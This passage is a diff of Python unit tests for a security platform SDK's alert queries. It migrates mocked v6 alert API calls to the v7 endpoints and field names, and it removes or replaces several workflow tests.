api.select(CBAnalyticsAlert).where("Blort").set_workflows(["OPEN"]) - f = query.facets(["REPUTATION", "STATUS"]) - assert f == [{"field": {}, "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}] + with pytest.raises(FunctionalityDecommissioned): + query.facets(["REPUTATION", "STATUS"]) @pytest.mark.parametrize("method, arg", [ - ("set_blocked_threat_categories", ["MINOR"]), ("set_device_locations", ["NARNIA"]), - ("set_kill_chain_statuses", ["SPAWN_COPIES"]), - ("set_not_blocked_threat_categories", ["MINOR"]), ("set_policy_applied", ["MAYBE"]), ("set_reason_code", [55]), ("set_run_states", ["MIGHT_HAVE"]), - ("set_sensor_actions", ["FLIP_A_COIN"]), - ("set_threat_cause_vectors", ["NETWORK"]) + ("set_sensor_actions", ["FLIP_A_COIN"]) ]) def test_query_cbanalyticsalert_invalid_criteria_values(cb, method, arg): """Test invalid values being supplied to CB Analytics alert queries.""" @@ -368,32 +410,35 @@ def test_query_devicecontrolalert_with_all_bells_and_whistles(cbcsdk_mock): def on_post(url, body, **kwargs): assert body == {"query": "Blort", "rows": 2, - "criteria": {"category": ["MONITORED", "THREAT"], "device_id": [6023], "device_name": ["HAL"], + "criteria": {"device_name": ["HAL"], "device_os": ["LINUX"], "device_os_version": ["0.1.2"], - "device_username": ["JRN"], "group_results": True, "id": ["S0L0"], - "legacy_alert_id": ["S0L0_1"], "minimum_severity": 6, "policy_id": [8675309], - "policy_name": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "device_username": ["JRN"], "id": ["S0L0", "S0L0_1"], + "minimum_severity": 6, "device_policy_id": [8675309], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], - "reputation": ["SUSPECT_MALWARE"], "tag": ["Frood"], "target_value": ["HIGH"], - "threat_id": ["B0RG"], "type": ["WATCHLIST"], "workflow": ["OPEN"], - "external_device_friendly_name": ["/dev/ice"], "external_device_id": ["626"], + "process_reputation": ["SUSPECT_MALWARE"], "tags": ["Frood"], + "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "type": ["DEVICE_CONTROL"], "workflow": ["OPEN"], + "external_device_friendly_name": ["/dev/ice"], "device_id": ["626"], "product_id": ["0x5581"], "product_name": ["Ultra"], "serial_number": ["4C531001331122115172"], "vendor_id": ["0x0781"], "vendor_name": ["SanDisk"]}, "sort": [{"field": "name", "order": "DESC"}]} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/devicecontrol/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - query = api.select(DeviceControlAlert).where("Blort").set_categories(["MONITORED", "THREAT"]) \ - .set_device_ids([6023]).set_device_names(["HAL"]).set_device_os(["LINUX"]).set_device_os_versions(["0.1.2"]) \ - .set_device_username(["JRN"]).set_group_results(True).set_alert_ids(["S0L0"]) \ + # in Alert v7 on a Device Control alert, the device_id is the USB device id. + # external_device_id does not exist, therefore it's not valid to set both device_id and external_device_id + query = api.select(DeviceControlAlert).where("Blort") \ + .set_device_names(["HAL"]).set_device_os(["LINUX"]).set_device_os_versions(["0.1.2"]) \ + .set_device_username(["JRN"]).set_alert_ids(["S0L0"]) \ .set_legacy_alert_ids(["S0L0_1"]).set_minimum_severity(6).set_policy_ids([8675309]) \ .set_policy_names(["Strict"]).set_process_names(["IEXPLORE.EXE"]) \ .set_process_sha256(["0123456789ABCDEF0123456789ABCDEF"]).set_reputations(["SUSPECT_MALWARE"]) \ - .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]).set_types(["WATCHLIST"]) \ + .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]) \ .set_workflows(["OPEN"]).set_external_device_friendly_names(["/dev/ice"]).set_external_device_ids(["626"]) \ .set_product_ids(["0x5581"]).set_product_names(["Ultra"]).set_serial_numbers(["4C531001331122115172"]) \ .set_vendor_ids(["0x0781"]).set_vendor_names(["SanDisk"]).sort_by("name", "DESC") @@ -401,27 +446,26 @@ def on_post(url, body, **kwargs): assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_devicecontrolalert_facets(cbcsdk_mock): """Test a Device Control alert facet query.""" def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "criteria": {"workflow": ["OPEN"]}, - "terms": {"rows": 0, "fields": ["REPUTATION", "STATUS"]}} - return {"results": [{"field": {}, - "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, - "values": [{"id": "status", "name": "statusX", "total": 9}]}]} - - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/devicecontrol/_facet", on_post) + assert body == {"criteria": {"type": ["DEVICE_CONTROL"]}, + "terms": {"rows": 0, "fields": ["WORKFLOW_STATUS", "VENDOR_NAME"]}} + return {"results": [{"field": "workflow_status", "values": [{"total": 12, "id": "OPEN", "name": "OPEN"}]}, + {"field": "vendor_name", "values": [{"total": 12, "id": "Generic", "name": "Generic"}]}] + } + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_facet", on_post) api = cbcsdk_mock.api - query = api.select(DeviceControlAlert).where("Blort").set_workflows(["OPEN"]) - f = query.facets(["REPUTATION", "STATUS"]) - assert f == [{"field": {}, "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}] + query = api.select(DeviceControlAlert) + f = query.facets(["WORKFLOW_STATUS", "VENDOR_NAME"]) + assert f == [{"field": "workflow_status", "values": [{"id": "OPEN", "name": "OPEN", "total": 12}]}, + {"field": "vendor_name", "values": [{"id": "Generic", "name": "Generic", "total": 12}]}] @pytest.mark.parametrize("method, arg", [ @@ -447,55 +491,58 @@ def test_query_watchlistalert_with_all_bells_and_whistles(cbcsdk_mock): def on_post(url, body, **kwargs): assert body == {"query": "Blort", "rows": 2, - "criteria": {"category": ["THREAT", "MONITORED"], "device_id": [6023], "device_name": ["HAL"], + "criteria": {"device_id": [6023], "device_name": ["HAL"], "device_os": ["LINUX"], "device_os_version": ["0.1.2"], - "device_username": ["JRN"], "group_results": True, "id": ["S0L0"], - "legacy_alert_id": ["S0L0_1"], "minimum_severity": 6, "policy_id": [8675309], - "policy_name": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "device_username": ["JRN"], "id": ["S0L0", "S0L0_1"], + "minimum_severity": 6, "device_policy_id": [8675309], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], - "reputation": ["SUSPECT_MALWARE"], "tag": ["Frood"], "target_value": ["HIGH"], + "process_reputation": ["SUSPECT_MALWARE"], "tags": ["Frood"], + "device_target_value": ["HIGH"], "threat_id": ["B0RG"], "type": ["WATCHLIST"], "workflow": ["OPEN"], "watchlist_id": ["100"], "watchlist_name": ["Gandalf"]}, - "sort": [{"field": "name", "order": "DESC"}]} + "sort": [{"field": "backend_timestamp", "order": "DESC"}]} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/watchlist/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - query = api.select(WatchlistAlert).where("Blort").set_categories(["THREAT", "MONITORED"]).set_device_ids([6023]) \ + query = api.select(WatchlistAlert).where("Blort").set_device_ids([6023]) \ .set_device_names(["HAL"]).set_device_os(["LINUX"]).set_device_os_versions(["0.1.2"]) \ - .set_device_username(["JRN"]).set_group_results(True).set_alert_ids(["S0L0"]) \ + .set_device_username(["JRN"]).set_alert_ids(["S0L0"]) \ .set_legacy_alert_ids(["S0L0_1"]).set_minimum_severity(6).set_policy_ids([8675309]) \ .set_policy_names(["Strict"]).set_process_names(["IEXPLORE.EXE"]) \ .set_process_sha256(["0123456789ABCDEF0123456789ABCDEF"]).set_reputations(["SUSPECT_MALWARE"]) \ - .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]).set_types(["WATCHLIST"]) \ - .set_workflows(["OPEN"]).set_watchlist_ids(["100"]).set_watchlist_names(["Gandalf"]).sort_by("name", "DESC") + .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]) \ + .set_workflows(["OPEN"]).set_watchlist_ids(["100"]).set_watchlist_names(["Gandalf"]).\ + sort_by("backend_timestamp", "DESC") a = query.one() assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_watchlistalert_facets(cbcsdk_mock): """Test a watchlist alert facet query.""" def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "criteria": {"workflow": ["OPEN"]}, - "terms": {"rows": 0, "fields": ["REPUTATION", "STATUS"]}} - return {"results": [{"field": {}, - "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, - "values": [{"id": "status", "name": "statusX", "total": 9}]}]} + assert body == {"criteria": {"type": ["WATCHLIST"]}, + "terms": {"rows": 1, "fields": ["WATCHLISTS_NAME", "WORKFLOW_STATUS"]} + } + + return {"results": [{"field": "workflow_status", "values": [{"total": 13, "id": "OPEN", "name": "OPEN"}]}, + {"field": "watchlists_name", "values": [{"total": 13, "id": "Test", "name": "Test"}]}] + } - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/watchlist/_facet", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_facet", on_post) api = cbcsdk_mock.api query = api.select(WatchlistAlert).where("Blort").set_workflows(["OPEN"]) - f = query.facets(["REPUTATION", "STATUS"]) - assert f == [{"field": {}, "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}] + with pytest.raises(FunctionalityDecommissioned): + query.facets(["REPUTATION", "STATUS"]) def test_query_watchlistalert_invalid_criteria_values(cb): @@ -512,20 +559,22 @@ def test_query_containeralert_with_all_bells_and_whistles(cbcsdk_mock): def on_post(url, body, **kwargs): assert body == {"query": "Blort", "rows": 2, - "criteria": {"cluster_name": ["TURTLE"], "namespace": ["RG"], "workload_kind": ["Job"], - "workload_id": ["1234"], "workload_name": ["BUNNY"], "replica_id": ["FAKE"], - "remote_ip": ["10.29.99.1"], "remote_domain": ["example.com"], "protocol": ["TCP"], - "port": [12345], "egress_group_id": ["5150"], "egress_group_name": ["EGRET"], - "ip_reputation": [75], "rule_id": ["66"], "rule_name": ["KITTEH"]}, + "criteria": {"k8s_cluster": ["TURTLE"], 'type': ['CONTAINER_RUNTIME'], "k8s_namespace": ["RG"], + "k8s_workload_name": ["BUNNY"], "k8s_pod_name": ["FAKE"], + "netconn_remote_ip": ["10.29.99.1"], "netconn_remote_domain": ["example.com"], + "netconn_protocol": ["TCP"], "netconn_local_port": [12345], + "egress_group_id": ["5150"], "egress_group_name": ["EGRET"], + "ip_reputation": [75], "k8s_rule_id": ["66"], "k8s_rule": ["KITTEH"], + "k8s_kind": ["Job"]}, "sort": [{"field": "name", "order": "DESC"}]} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/containerruntime/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api query = api.select(ContainerRuntimeAlert).where("Blort").set_cluster_names(['TURTLE']).set_namespaces(['RG']) \ - .set_workload_kinds(['Job']).set_workload_ids(['1234']).set_workload_names(['BUNNY']) \ + .set_workload_kinds(['Job']).set_workload_names(['BUNNY']) \ .set_replica_ids(['FAKE']).set_remote_ips(['10.29.99.1']).set_remote_domains(['example.com']) \ .set_protocols(['TCP']).set_ports([12345]).set_egress_group_ids(['5150']).set_egress_group_names(['EGRET']) \ .set_ip_reputations([75]).set_rule_ids(['66']).set_rule_names(['KITTEH']).sort_by("name", "DESC") @@ -533,14 +582,14 @@ def on_post(url, body, **kwargs): assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name @pytest.mark.parametrize("method, arg", [ ("set_cluster_names", [12345]), ("set_namespaces", [12345]), ("set_workload_kinds", [12345]), - ("set_workload_ids", [12345]), ("set_workload_names", [12345]), ("set_replica_ids", [12345]), ("set_remote_ips", [12345]), @@ -561,68 +610,24 @@ def test_query_containeralert_invalid_criteria_values(cb, method, arg): meth(arg) -def test_alerts_bulk_dismiss(cbcsdk_mock): - """Test dismissing a batch of alerts.""" - - def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir", - "criteria": {"device_name": ["HAL9000"]}} - return {"request_id": "497ABX"} - - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/workflow/_criteria", on_post) - api = cbcsdk_mock.api - - q = api.select(BaseAlert).where("Blort").set_device_names(["HAL9000"]) - reqid = q.dismiss("Fixed", "Yessir") - assert reqid == "497ABX" - - -def test_alerts_bulk_undismiss(cbcsdk_mock): - """Test undismissing a batch of alerts.""" - - def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "state": "OPEN", "remediation_state": "Fixed", "comment": "NoSir", - "criteria": {"device_name": ["HAL9000"]}} - return {"request_id": "497ABX"} - - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/workflow/_criteria", on_post) - api = cbcsdk_mock.api - - q = api.select(BaseAlert).where("Blort").set_device_names(["HAL9000"]) - reqid = q.update("Fixed", "NoSir") - assert reqid == "497ABX" - - -def test_alerts_bulk_dismiss_watchlist(cbcsdk_mock): - """Test dismissing a batch of watchlist alerts.""" - - def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir", - "criteria": {"device_name": ["HAL9000"]}} - return {"request_id": "497ABX"} - - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/watchlist/workflow/_criteria", on_post) - api = cbcsdk_mock.api - - q = api.select(WatchlistAlert).where("Blort").set_device_names(["HAL9000"]) - reqid = q.dismiss("Fixed", "Yessir") - assert reqid == "497ABX" - - -def test_alerts_bulk_dismiss_cbanalytics(cbcsdk_mock): - """Test dismissing a batch of CB Analytics alerts.""" +def test_query_set_rows(cbcsdk_mock): + """Test alert query with set rows.""" def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir", - "criteria": {"device_name": ["HAL9000"]}} - return {"request_id": "497ABX"} + assert body == {"query": "Blort", + "rows": 10000, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/cbanalytics/workflow/_criteria", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - q = api.select(CBAnalyticsAlert).where("Blort").set_device_names(["HAL9000"]) - reqid = q.dismiss("Fixed", "Yessir") - assert reqid == "497ABX" + query = api.select(BaseAlert).where("Blort").sort_by("name", "DESC").set_rows(10000) + for a in query: + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" def test_alerts_bulk_dismiss_threat(cbcsdk_mock): @@ -661,31 +666,66 @@ def test_alerts_bulk_threat_error(cb): cb.bulk_threat_dismiss([123], "Fixed", "Yessir") -def test_load_workflow(cbcsdk_mock): - """Test loading a workflow status.""" - cbcsdk_mock.mock_request('GET', "/appservices/v6/orgs/test/workflow/status/497ABX", - {"errors": [], "failed_ids": [], "id": "497ABX", "num_hits": 0, "num_success": 0, - "status": "QUEUED", "workflow": {"state": "DISMISSED", "remediation": "Fixed", - "comment": "Yessir", "changed_by": "Robocop", - "last_update_time": "2019-10-31T16:03:13.951Z"}}) +def test_alert_dismiss_threat(cbcsdk_mock): + """Test dismissal of a threat alert.""" + + def on_post(url, body, **kwargs): + assert body == {"state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir"} + return { + "state": "DISMISSED", + "remediation": "Fixed", + "last_update_time": "2019-10-31T16:03:13.951Z", + "comment": "Yessir", + "changed_by": "Robocop" + } + + cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/threat/workflow/_criteria", on_post) + api = cbcsdk_mock.api - workflow = api.select(WorkflowStatus, "497ABX") - assert workflow.id_ == "497ABX" + alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "threat_id": "B0RG", "workflow": {"status": "OPEN"}}) + wf = alert.dismiss_threat("Fixed", "Yessir") + assert wf["changed_by"] == "Robocop" + assert wf["state"] == "DISMISSED" + assert wf["remediation"] == "Fixed" + assert wf["comment"] == "Yessir" + assert wf["last_update_time"] == "2019-10-31T16:03:13.951Z" + + +def test_alert_undismiss_threat(cbcsdk_mock): + """Test undismissal of a threat alert.""" + + def on_post(url, body, **kwargs): + assert body == {"state": "OPEN", "remediation_state": "Investigating", "comment": "Yessir"} + return { + "state": "OPEN", + "remediation": "Investigating", + "comment": "Yessir", + "changed_by": "Robocop", + "last_update_time": "2019-10-31T16:03:13.951Z" + } + + cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/threat/workflow/_criteria", on_post) + + api = cbcsdk_mock.api + + alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "threat_id": "B0RG", "workflow": {"status": "OPEN"}}) + wf = alert.update_threat("Investigating", "Yessir") + assert wf["changed_by"] == "Robocop" + assert wf["state"] == "OPEN" + assert wf["remediation"] == "Investigating" + assert wf["comment"] == "Yessir" + assert wf["last_update_time"] == "2019-10-31T16:03:13.951Z" def test_get_process(cbcsdk_mock): """Test of getting process through a WatchlistAlert""" # mock the alert request - cbcsdk_mock.mock_request("GET", "/appservices/v6/orgs/test/alerts/6b2348cb-87c1-4076-bc8e-7c717e8af608", + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", GET_ALERT_TYPE_WATCHLIST) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&q=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&query=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -697,15 +737,9 @@ def test_get_process(cbcsdk_mock): cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/search_jobs/" "2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT) - # mock the POST of a summary search (using same Job ID) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/summary_jobs", - POST_PROCESS_SEARCH_JOB_RESP) - # mock the GET to get summary search results - cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" - "summary_jobs/2c292717-80ed-4f0d-845f-779e09470920/results"), - GET_PROCESS_SUMMARY_STR) + api = cbcsdk_mock.api - alert = api.select(WatchlistAlert, "6b2348cb-87c1-4076-bc8e-7c717e8af608") + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") process = alert.get_process() assert isinstance(process, Process) assert process.process_guid == "WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" @@ -714,15 +748,11 @@ def test_get_process(cbcsdk_mock): def test_get_process_zero_found(cbcsdk_mock): """Test of getting process through a WatchlistAlert""" # mock the alert request - cbcsdk_mock.mock_request("GET", "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", GET_ALERT_TYPE_WATCHLIST) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&q=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&query=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -735,7 +765,7 @@ def test_get_process_zero_found(cbcsdk_mock): "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), GET_PROCESS_NOT_FOUND) api = cbcsdk_mock.api - alert = api.select(WatchlistAlert, "86123310980efd0b38111eba4bfa5e98aa30b19") + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") process = alert.get_process() assert not process @@ -743,15 +773,11 @@ def test_get_process_zero_found(cbcsdk_mock): def test_get_process_raises_api_error(cbcsdk_mock): """Test of getting process through a WatchlistAlert""" # mock the alert request - cbcsdk_mock.mock_request("GET", "/appservices/v6/orgs/test/alerts/6b2348cb-87c1-4076-bc8e-7c717e8af608", + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6b2348cb-87c1-4076-bc8e-7c717e8af608", GET_ALERT_TYPE_WATCHLIST_INVALID) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&q=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&query=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -772,15 +798,11 @@ def test_get_process_raises_api_error(cbcsdk_mock): def test_get_process_async(cbcsdk_mock): """Test of getting process through a WatchlistAlert async""" # mock the alert request - cbcsdk_mock.mock_request("GET", "/appservices/v6/orgs/test/alerts/6b2348cb-87c1-4076-bc8e-7c717e8af608", + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", GET_ALERT_TYPE_WATCHLIST) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&q=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805" - "&query=process_guid%3AWNEXFKQ7%5C-000309c2%5C-00000478%5C-00000000%5C-1d6a1c1f2b02805", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -800,7 +822,7 @@ def test_get_process_async(cbcsdk_mock): "summary_jobs/2c292717-80ed-4f0d-845f-779e09470920/results"), GET_PROCESS_SUMMARY_STR) api = cbcsdk_mock.api - alert = api.select(WatchlistAlert, "6b2348cb-87c1-4076-bc8e-7c717e8af608") + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") process = alert.get_process(async_mode=True).result() assert isinstance(process, Process) assert process.process_guid == "WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" @@ -809,153 +831,20 @@ def test_get_process_async(cbcsdk_mock): def test_get_events(cbcsdk_mock): """Test get_events method""" cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", - GET_ALERT_RESP) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/enriched_events/detail_jobs", - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b/results", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ALERTS) - - api = cbcsdk_mock.api - alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - events = alert.get_events() - assert len(events) == 2 - for event in events: - assert event.alert_id == ['62802DCE'] - - -def test_get_events_zero_found(cbcsdk_mock): - """Test get_events method - zero enriched events found""" - cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", + "/api/alerts/v7/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", GET_ALERT_RESP) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/enriched_events/detail_jobs", - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b/results", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_ZERO) - api = cbcsdk_mock.api alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - events = alert.get_events() - assert len(events) == 0 - - -def test_get_events_timeout(cbcsdk_mock): - """Test that get_events() throws a timeout appropriately.""" - cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", - GET_ALERT_RESP) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/enriched_events/detail_jobs", - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_STILL_QUERYING) - - api = cbcsdk_mock.api - alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - with pytest.raises(TimeoutError): - alert.get_events(timeout=1) - - -def test_get_events_detail_jobs_resp_handling(cbcsdk_mock): - """Test get_events method - different resps from details jobs request""" - called = 0 - - def get_validate(*args): - nonlocal called - called += 1 - if called == 1: - return GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_STILL_QUERYING - if called == 2: - return GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ZERO_COMP - return GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP - - cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", - GET_ALERT_RESP) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/enriched_events/detail_jobs", - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b", - # noqa: E501 - get_validate) - 